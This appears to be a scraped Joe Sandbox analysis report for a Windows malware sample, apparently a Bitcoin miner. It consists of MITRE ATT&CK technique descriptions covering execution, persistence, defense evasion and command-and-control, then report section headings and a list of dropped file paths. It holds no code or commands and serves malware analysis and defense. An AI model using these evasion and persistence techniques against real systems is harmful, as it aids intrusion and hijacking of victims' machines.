Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nlGOh9K5X5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5mxaiwer.daq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eiu0pqbk.vqi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v1fnyn2f.g0l.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zk33mdfs.n02.psm1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_g1co4ya1.hoh.psm1

C:\Windows\Temp\__PSScriptPolicyTest_mbxbqitq.scx.ps1

C:\Windows\Temp\__PSScriptPolicyTest_nscm1o4l.nbn.ps1

C:\Windows\Temp\__PSScriptPolicyTest_xezwn35o.0es.psm1

C:\Windows\Temp\amhsyemgqpki.sys

Windows Analysis Report
nlGOh9K5X5.exe